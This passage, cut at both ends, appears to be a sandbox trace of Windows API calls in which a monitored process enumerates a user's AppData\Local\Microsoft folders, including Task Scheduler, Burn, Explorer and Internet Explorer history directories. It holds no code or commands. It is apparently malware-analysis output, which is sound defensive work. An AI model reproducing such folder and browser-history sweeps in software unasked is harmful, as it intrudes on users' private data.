lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\TaskSchedulerConfig", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\TaskSchedulerConfig", lpFilePart=0x0) returned 0x3d [0070.204] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\TaskSchedulerConfig\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.204] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.204] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Visio", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Visio", lpFilePart=0x0) returned 0x2f [0070.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.204] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Visio" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\visio"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb2bbc2d0, ftCreationTime.dwHighDateTime=0x1d3060f, ftLastAccessTime.dwLowDateTime=0xbfff6410, ftLastAccessTime.dwHighDateTime=0x1d3060f, ftLastWriteTime.dwLowDateTime=0xbfff6410, ftLastWriteTime.dwHighDateTime=0x1d3060f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.214] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Visio", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Visio", lpFilePart=0x0) returned 0x2f [0070.214] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Visio\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.214] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.214] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Visio", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Visio", lpFilePart=0x0) returned 0x2f [0070.214] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Visio\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.215] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.215] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows", lpFilePart=0x0) returned 0x31 [0070.215] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0x18549ad0, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x18549ad0, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0070.215] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows", lpFilePart=0x0) returned 0x31 [0070.215] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.215] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.215] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\1033", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\1033", lpFilePart=0x0) returned 0x36 [0070.215] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\1033" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\1033"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x62733e30, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0x628fceb0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0x628fceb0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.216] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\1033", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\1033", lpFilePart=0x0) returned 0x36 [0070.216] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\1033\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.216] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.216] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\1033", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\1033", lpFilePart=0x0) returned 0x36 [0070.216] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\1033\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.216] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.217] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn", lpFilePart=0x0) returned 0x36 [0070.217] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\burn"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xff110dc0, ftLastAccessTime.dwHighDateTime=0x1d305ba, ftLastWriteTime.dwLowDateTime=0xff110dc0, ftLastWriteTime.dwHighDateTime=0x1d305ba, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.217] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn", lpFilePart=0x0) returned 0x36 [0070.217] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.217] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.217] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn", lpFilePart=0x0) returned 0x3b [0070.217] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\burn\\burn"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa8188190, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.217] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn", lpFilePart=0x0) returned 0x3b [0070.217] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.217] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.217] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn", lpFilePart=0x0) returned 0x3b [0070.217] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.217] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.218] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn1", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn1", lpFilePart=0x0) returned 0x3c [0070.218] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn1" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\burn\\burn1"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x5c07f680, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0x5c081d90, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0x5c0844a0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.218] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn1", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn1", lpFilePart=0x0) returned 0x3c [0070.218] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn1\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.218] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.218] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn1", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn1", lpFilePart=0x0) returned 0x3c [0070.218] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn1\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.218] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.218] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn2", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn2", lpFilePart=0x0) returned 0x3c [0070.218] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn2" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\burn\\burn2"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xff110dc0, ftCreationTime.dwHighDateTime=0x1d305ba, ftLastAccessTime.dwLowDateTime=0xff16b310, ftLastAccessTime.dwHighDateTime=0x1d305ba, ftLastWriteTime.dwLowDateTime=0xff16da20, ftLastWriteTime.dwHighDateTime=0x1d305ba, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.218] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn2", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn2", lpFilePart=0x0) returned 0x3c [0070.218] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn2\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.218] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.219] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn2", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn2", lpFilePart=0x0) returned 0x3c [0070.219] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn2\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.219] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.219] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn", lpFilePart=0x0) returned 0x36 [0070.219] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Burn\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.219] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.219] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Caches", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Caches", lpFilePart=0x0) returned 0x38 [0070.219] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Caches" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\caches"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xbc0db270, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0xbc0db270, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0070.219] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Caches", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Caches", lpFilePart=0x0) returned 0x38 [0070.219] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Caches\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.219] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.219] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Caches", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Caches", lpFilePart=0x0) returned 0x38 [0070.219] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Caches\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.220] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.220] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Explorer", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Explorer", lpFilePart=0x0) returned 0x3a [0070.220] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Explorer" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\explorer"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa81d4450, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0x182897a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0070.220] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Explorer", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Explorer", lpFilePart=0x0) returned 0x3a [0070.220] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Explorer\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.220] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.220] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Explorer", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Explorer", lpFilePart=0x0) returned 0x3a [0070.220] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Explorer\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.220] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.220] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\GameExplorer", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\GameExplorer", lpFilePart=0x0) returned 0x3e [0070.220] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\GameExplorer" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\gameexplorer"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fe5270, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.221] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\GameExplorer", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\GameExplorer", lpFilePart=0x0) returned 0x3e [0070.221] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\GameExplorer\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.221] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.221] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\GameExplorer", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\GameExplorer", lpFilePart=0x0) returned 0x3e [0070.221] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\GameExplorer\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.221] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.221] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\History", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\History", lpFilePart=0x0) returned 0x39 [0070.221] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\History" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\history"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa8162030, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.221] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\History", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\History", lpFilePart=0x0) returned 0x39 [0070.221] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\History\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.221] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.222] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5", lpFilePart=0x0) returned 0x45 [0070.222] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\history\\history.ie5"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xc519e4a0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xc519e4a0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0070.222] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5", lpFilePart=0x0) returned 0x45 [0070.222] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.222] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.222] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017101720171018", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017101720171018", lpFilePart=0x0) returned 0x5e [0070.222] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017101720171018" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\mshist012017101720171018"), fInfoLevelId=0x0, 